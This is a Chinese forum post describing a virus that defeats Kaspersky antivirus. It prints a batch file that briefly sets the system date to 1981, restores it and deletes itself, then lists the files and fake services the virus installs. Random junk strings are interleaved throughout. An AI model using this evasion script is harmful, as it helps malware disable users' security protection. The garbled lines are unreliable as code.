|
今天拿到个小病毒..玩了一下下...按某论坛某人的帖得到结果如下
* s. r! a% F. D5 P U% O3 Y% c K( a: u7 a; d8 y1 |
2如果没有安装卡巴斯基,直接运行病毒代码' {, p2 T+ A; D: f. b$ n
3如果发现安装卡巴斯基,则先释放一个批处理(.bat)文件,注意卡巴的主动防御并没有吹嘘的那么好,对此代码完全是放纵不管!!代码很简单,如下:1 a3 M/ p0 ~9 R3 e
@echo off
1 ^ ]) r! a6 o+ M. X5 I set date=%date%
3 J( o/ R* ^! w9 _; T9 q1 T date 1981-1-122 [6 E* P( }! [4 K& C/ @2 l
ping -n 45 localhost > nul
, k7 M/ _$ n+ Y9 \2 J1 U! R) V2 d' ^% P date %date%
, @5 ~6 M* D/ {; x5 L del %0* F, s( E$ M$ `
8 \+ [" K1 H7 r4 b! w
会发现系统时间被调整到了1981年1月12日(时间没变,日期变了),这时,卡巴斯基的监控立刻失效,在成功完成Over掉卡巴斯基后,病毒释放如下文件9 w7 W8 J# O, n' ]
%SystemRoot%\system32\*.EXE
! P: U- S0 k, F0 {3 A4 X, X) ? %SystemRoot%\system32\*T.EXE+ w! ]5 h. W8 t! o
%SystemRoot%\system32\*.DLL) P" h" \3 g ` @" N
%SystemRoot%\system32\delme.bat
0 @" f1 K) s; F2 V5 A9 S; K (注:*为随机8位字母) L/ j3 N8 Q) t
并在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\添加若干伪系统服务,至此,病毒成功运行!可以说,卡巴斯基被秒杀,一点反抗能力也没有。0 ]- \ t9 x. a* f' K& |
其实,这个Bug早已存在,但卡巴斯基一直没有修正,直至现在出现了利用这个Bug的病毒9 i+ |4 T6 x6 J; [
6 N/ W. f% y; [; v8 c9 I% u |
|